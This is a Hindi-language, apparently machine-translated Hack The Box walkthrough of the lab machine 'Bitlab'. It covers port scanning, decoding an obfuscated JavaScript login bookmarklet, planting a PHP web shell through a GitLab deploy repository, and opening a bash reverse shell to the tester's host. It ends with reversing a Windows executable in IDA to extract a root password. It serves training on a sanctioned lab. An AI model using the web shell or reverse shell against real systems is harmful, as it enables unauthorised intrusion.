🖲️ 🖲️ 🤟🏻 हैक द बॉक्स - बिटलैब वॉकथ्रू। कमजोर जेएस ऑबफिकेशन, जीआईटी और रिवर्स विंडोज एप्लिकेशन 🖐🏻 🦇 🅰️

इस लेख में, मैं हैकइनबॉक्स साइट से आगे की प्रक्रिया के लिए भेजे गए समाधानों को प्रकाशित करना शुरू करूंगा । मुझे उम्मीद है कि इससे कम से कम किसी को सूचना सुरक्षा के क्षेत्र में विकसित करने में मदद मिलेगी। इस लेख में, हम एक छोटे जावास्क्रिप्ट अवरोध से निपटेंगे, पिछले रिपॉजिटरी के माध्यम से पिछले दरवाजे को लोड करेंगे, और 32-एप्लिकेशन को डीबग करेंगे।

प्रयोगशाला का कनेक्शन वीपीएन के माध्यम से है। यह सलाह दी जाती है कि किसी कार्य कंप्यूटर या किसी होस्ट से कनेक्ट न करें जहां आपके लिए महत्वपूर्ण डेटा उपलब्ध है, जैसा कि आप निजी नेटवर्क पर उन लोगों के साथ समाप्त होते हैं जो सूचना सुरक्षा के क्षेत्र में कुछ जानते हैं :)

संगठनात्मक जानकारी

विशेष रूप से उन लोगों के लिए जो सूचना और कंप्यूटर सुरक्षा के किसी भी क्षेत्र में कुछ नया सीखना और विकसित करना चाहते हैं, मैं निम्नलिखित श्रेणियों के बारे में लिखूंगा और बात करूंगा:

PWN;
क्रिप्टोग्राफी (क्रिप्टो);
नेटवर्क टेक्नोलॉजीज (नेटवर्क);
रिवर्स (रिवर्स इंजीनियरिंग);
स्टेग्नोग्राफ़ी (स्टेग्नो);
WEB कमजोरियों की खोज और उनका दोहन।

इसके अलावा, मैं अपने अनुभव को कंप्यूटर फोरेंसिक, मैलवेयर और फर्मवेयर के विश्लेषण, वायरलेस नेटवर्क और स्थानीय क्षेत्र नेटवर्क पर हमले, पेंटेस्ट का संचालन करने और कारनामे लिखने में साझा करूंगा।

ताकि आप नए लेख, सॉफ्टवेयर और अन्य जानकारी के बारे में जान सकें, मैंने टेलीग्राम में एक चैनल बनाया और आईसीडी के क्षेत्र में किसी भी मुद्दे पर चर्चा करने के लिए एक समूह बनाया। साथ ही, मैं व्यक्तिगत रूप से आपके व्यक्तिगत अनुरोधों, प्रश्नों, सुझावों और सिफारिशों पर व्यक्तिगत रूप से विचार करूंगा और सभी का जवाब दूंगा ।

सभी जानकारी केवल शैक्षिक उद्देश्यों के लिए प्रदान की जाती है। इस दस्तावेज़ का लेखक इस दस्तावेज़ का अध्ययन करने के परिणामस्वरूप प्राप्त ज्ञान और विधियों का उपयोग करने के परिणामस्वरूप किसी को हुए नुकसान के लिए कोई ज़िम्मेदारी नहीं उठाता है।

अन्वेषण

पोर्ट स्कैन

इस मशीन का आईपी एड्रेस 10.10.10.114 है, जिसे मैं / etc / मेजबानों में जोड़ता हूँ।
10.10.10.114 bitlab.htb
सबसे पहले, हम खुले बंदरगाहों को स्कैन करते हैं। चूंकि नैम्प के साथ सभी बंदरगाहों को स्कैन करने में लंबा समय लगता है, इसलिए मैं इसे पहले मैसकैन के साथ करूंगा। हम प्रति सेकंड 1000 पैकेट की गति से tun0 इंटरफ़ेस से सभी टीसीपी और यूडीपी पोर्ट को स्कैन करते हैं।
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

अगला, आपको उन बंदरगाहों के बारे में अधिक जानकारी एकत्र करने की आवश्यकता है जिन्हें हम जानते हैं।
nmap -A bitlab.htb -p22,80

Nmap रिपोर्ट के अनुसार, SSH और एक वेब सर्वर होस्ट पर चल रहे हैं। और वेब सर्वर पर robots.txt है। इस सूची से निर्देशिकाओं के माध्यम से जाने के बाद, हम ध्यान दें कि गीतालाब काम करता है और एक अनइंडैक्सड मदद निर्देशिका है।

बुकमार्क पृष्ठ पर जाकर हमारे पास कई लिंक हैं।

जे एस

सभी एक उत्पाद की साइट को इंगित करते हैं, पिछले एक को छोड़कर, जिसमें एक पता नहीं है, लेकिन एक जेएस कोड है।

यह कोड क्या करता है।

 javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

अधिक पठनीय कोड प्राप्त करने के लिए, आप निम्नलिखित साइट का उपयोग कर सकते हैं।

कोड के थोड़ा शोधन के बाद, हमें निम्नलिखित निर्देश मिलते हैं।

 document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x";

Git

इस प्रमाणीकरण डेटा के साथ हम गिटलैब में अधिकृत हैं। वहाँ हम दो प्रोफाइल पाते हैं।

आप एक परियोजना भी पा सकते हैं जिसमें डेटाबेस से एक कनेक्शन है, कोड में मैं कनेक्शन के लिए सभी डेटा प्रस्तुत करता हूं।

प्रोफ़ाइल जाँचना हमें कुछ भी रोचक नहीं लगता।

डिप्लॉयर के पास केवल php कोड होता है।

इस कोड से, यह स्पष्ट हो जाता है कि यदि हमने प्रोफ़ाइल में कोई फ़ाइल रखी है, तो उसे सर्वर पर तैनात किया जाएगा।

प्रवेश बिंदु

हमें php backdoor को जगह देने की जरूरत है। उदाहरण के लिए, वह जो कमांड प्राप्त करेगा और निष्पादित करेगा।

 <?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>

ऐसा करने के लिए, प्रोफ़ाइल खोलें और एक नई फ़ाइल बनाएं।

और हमारी फाइल को जोड़ने के बाद रिपॉजिटरी में दिखाई देगा।

अब हम पिछले दरवाजे का परीक्षण कर रहे हैं।

अब हमें एक पूर्ण शेल मिलता है।

 bash -i >& /dev/tcp/10.10.15.150/4321 0>&1

और हम अपने मेजबान से रिवर्स कनेक्शन देखते हैं।

उपयोगकर्ता

होस्ट पर एक बार, पहले खरीदे गए डेटा को सत्यापित करना अनिवार्य है। यह डेटाबेस तक पहुँचने के लिए डेटा है।

पारस्परिक रूप से PHP दुभाषिया खोलना। हम पाए गए कोड का उपयोग करते हैं और पाए गए डेटा के माध्यम से देखते हैं। बेस 64 में यूजर पासवर्ड, इसे डीकोड करें।

तो हम पासवर्ड का पता लगाते हैं, जो जाहिरा तौर पर SSH के माध्यम से जुड़ सकता है। लेकिन यह काम नहीं करता था, क्योंकि बेस 64 पासवर्ड है))।

जड़

कार के चारों ओर देखने पर, हमें उपयोगकर्ता के होम डायरेक्टरी में एक एक्साई फाइल मिलती है।

हम इसे विश्लेषण के लिए हमारे मेजबान पर कॉपी करते हैं।

 scp clave@10.10.10.114:~/RemoteConnection.exe .

इसके बाद, आईडीए प्रो में फ़ाइल खोलें। मुख्य फ़ंक्शन के माध्यम से स्क्रॉल करना, आप उपयोगकर्ता नाम के साथ चर की तुलना पा सकते हैं और पोटीन के साथ एक प्रक्रिया बना सकते हैं - नेटवर्क कनेक्शन के लिए एक कार्यक्रम।

हम मान सकते हैं कि कनेक्शन प्रमाणीकरण डेटा के प्रावधान के साथ होता है, और हमें उन्हें खोजने की आवश्यकता है। कनेक्शन डेटा को एक पैरामीटर के रूप में पोटीन पास किया जाएगा, अर्थात। चर v3।

आप डीबगिंग के दौरान समाप्त पंक्ति देख सकते हैं, लेकिन आईडीए में 32-बिट फ़ाइल क्रैश हो जाती है। कदम दर कदम डिबगिंग करके, हम समझते हैं कि GetUserNameW को कॉल करने के बाद ऐसा होता है। हम इस प्रकार आगे बढ़ते हैं।

नाम की तुलना टुकड़े पर बीपी रखो।

अब हम GetUserNameW फ़ंक्शन के मापदंडों को लोड करने से पहले बीपी डालते हैं।

डिबगर में प्रोग्राम चलाएं। डिबगिंग हमारे द्वारा आवश्यक फ़ंक्शन को कॉल करने से पहले बंद हो जाएगी।

अब कोड को पैच करें। मापदंडों को लोड करने और फ़ंक्शन को कॉल करने के बजाय, आपको एनओपी निर्देश डालने की आवश्यकता है। मैं इसके लिए Keypatch plugin का उपयोग करता हूं।

अब कोड इस तरह दिखता है।

आइए कार्यक्रम को डिबग करना जारी रखें ताकि यह नाम की तुलना करने पर रुक जाए। इस बिंदु पर, पैरामीटर स्ट्रिंग के पते को पहले से ही शेलएक्सक्यूट्यूट्यू पैरामीटर के रूप में पारित करने के लिए ईएएक्स रजिस्टर में लोड किया जाएगा।

अब EAX रजिस्टर के आगे बने तीर (disassembly में कूदें) पर क्लिक करें। यह आपको आईडीए मुख्य विंडो में ईएएक्स से पते पर जाने की अनुमति देगा।

इस पते में पैरामीटर स्ट्रिंग है। जैसा कि आप देख सकते हैं, इसमें सममित रूप से सही पाठ "-ssh रूट ..." है। लेकिन प्रत्येक चरित्र को 2 बाइट्स द्वारा दर्शाया गया है। स्ट्रिंग को आसानी से इकट्ठा करने के लिए, Alt + A दबाएं।

और इस विंडो में, यूनिकोड सी-स्टाइल (16 बिट) का चयन करें। फिर हम सही ढंग से इकट्ठे स्ट्रिंग का निरीक्षण करते हैं।

इस लाइन में रूट पासवर्ड है। हम ssh से जुड़ते हैं और टोकन उठाते हैं।

आप टेलीग्राम पर हमसे जुड़ सकते हैं। आइए एक समुदाय को एक साथ रखें जिसमें ऐसे लोग होंगे जो आईटी के कई क्षेत्रों में पारंगत हैं, फिर हम किसी भी आईटी और सूचना सुरक्षा मुद्दों पर हमेशा एक दूसरे की मदद कर सकते हैं।

हैक द बॉक्स - बिटलैब वॉकथ्रू। कमजोर जेएस ऑबफिकेशन, जीआईटी और रिवर्स विंडोज एप्लिकेशन

अन्वेषण

पोर्ट स्कैन

जे एस

Git

प्रवेश बिंदु

उपयोगकर्ता

जड़

More articles: